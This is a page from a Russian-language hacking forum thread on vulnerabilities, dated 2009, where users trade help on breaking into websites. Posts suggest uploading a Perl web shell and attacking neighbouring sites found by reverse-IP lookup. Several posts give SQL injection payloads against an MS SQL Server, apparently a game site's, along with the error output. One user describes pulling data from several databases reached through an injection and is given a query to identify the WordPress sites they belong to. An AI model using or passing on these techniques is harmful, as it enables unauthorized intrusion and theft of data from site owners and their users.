HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 848 из 2422 « Первая < 348748798838 844 845 846 847 848 849 850 851 852 85889894813481848 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 18.08.2009, 23:53
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами: 9846041

Репутация: 1177


По умолчанию
Если в .htaccess ЗАПРЕТ на php, а не разрешение на html,etc, то можно попробывать залить perl шелл. Если же не нет, то через ReverseIP смотри соседние сайты и пробуй залить на них.
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 19.08.2009, 00:26
ph1l1ster
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
С нами: 9561436

Репутация: 462
По умолчанию
Цитата:
Tiggerто можно попробывать залить perl шелл.
Не выполнится, нужны будут права на выполнение
 
Ответить с цитированием

  #3  
Старый 19.08.2009, 13:43
InFlame
Участник форума
Регистрация: 27.10.2008
Сообщений: 215
С нами: 9230381

Репутация: 90
По умолчанию
Существуют ли способы обхода фильтрации htmlspecialchars()?
 
Ответить с цитированием

  #4  
Старый 19.08.2009, 13:56
L I G A
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
С нами: 9362947

Репутация: 1196


По умолчанию
Цитата:
Сообщение от InFlame  
Существуют ли способы обхода фильтрации htmlspecialchars()?
вряд ли существует
 
Ответить с цитированием

  #5  
Старый 19.08.2009, 13:59
DeepXhadow
Познающий
Регистрация: 19.04.2008
Сообщений: 67
С нами: 9505375

Репутация: 19
По умолчанию
Есть сервак Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1

на запросы типа
(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.T ABLES)--
пишет mofo Incorrect syntax near the keyword 'TOP'.

@@version--
(select db_name())--
(select system_user)--

Выполняются без проблем. Как обойти?
 
Ответить с цитированием

  #6  
Старый 19.08.2009, 14:50
z00MAN
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
С нами: 9196401

Репутация: 930
По умолчанию
Цитата:
Сообщение от DeepXhadow  
Есть сервак Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1

на запросы типа
(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.T ABLES)--
пишет mofo Incorrect syntax near the keyword 'TOP'.

@@version--
(select db_name())--
(select system_user)--

Выполняются без проблем. Как обойти?
юзай поиск https://forum.antichat.ru/showthread.php?t=65041
 
Ответить с цитированием

  #7  
Старый 19.08.2009, 15:09
DeepXhadow
Познающий
Регистрация: 19.04.2008
Сообщений: 67
С нами: 9505375

Репутация: 19
По умолчанию
Цитата:
Сообщение от z00MAN  
1+or+1=(SELECT+1+max(TABLE_NAME)+FROM+INFORMATION_ SCHEMA.TABLES)--

mofo Line 1: Incorrect syntax near 'max'.

id=1+or(1=(select(max(table_name))from[information_schema].tables))--

mofo An aggregate may not appear in the WHERE clause unless it is in a subquery contained in a HAVING clause or a select list, and the column being aggregated is an outer reference.


ваще хз даж как это можно перевести....совокупности нет в запросе WHERE?

все остальное из той темы ругается или на TOP или на FROM. Пробовал в разных регистрах
Последний раз редактировалось DeepXhadow; 19.08.2009 в 15:12..
 
Ответить с цитированием

  #8  
Старый 19.08.2009, 15:37
DimOnOID
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами: 10226672

Репутация: 441
По умолчанию
Цитата:
Сообщение от DeepXhadow  
Есть сервак Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1

на запросы типа
(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.T ABLES)--
пишет mofo Incorrect syntax near the keyword 'TOP'.

@@version--
(select db_name())--
(select system_user)--

Выполняются без проблем. Как обойти?
Раггейм решил похекать? ну-ну...
 
Ответить с цитированием

  #9  
Старый 19.08.2009, 15:40
Shadrin
Постоянный
Регистрация: 20.08.2008
Сообщений: 348
С нами: 9328846

Репутация: 270
По умолчанию
Всем привет ,Нашел скулю,порыл оказалось несколько баз WP,joomla, самого сайта база и еще пару штук,доступ ко всем базам есть.админку самого сайта я так и не нашел,даже базу ковырять не стал
Вопрос: как определить к каким сайтам принадлежат другие базы?если возможно конечно.
Ап вопрос решил)))
вытащил контент из базы,наешл сайт по гуглу )
Последний раз редактировалось Shadrin; 19.08.2009 в 16:16..
 
Ответить с цитированием

  #10  
Старый 19.08.2009, 16:30
it's my
Banned
Регистрация: 29.09.2007
Сообщений: 512
С нами: 9798146

Репутация: 1224


По умолчанию
Цитата:
Сообщение от Shadrin  
Всем привет ,Нашел скулю,порыл оказалось несколько баз WP,joomla, самого сайта база и еще пару штук,доступ ко всем базам есть.админку самого сайта я так и не нашел,даже базу ковырять не стал
Вопрос: как определить к каким сайтам принадлежат другие базы?если возможно конечно.
Ап вопрос решил)))
вытащил контент из базы,наешл сайт по гуглу )
для WP:
Код:
select option_value from wp_options where option_name='siteurl'
 
Ответить с цитированием
Ответ
Страница 848 из 2422 « Первая < 348748798838 844 845 846 847 848 849 850 851 852 85889894813481848 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.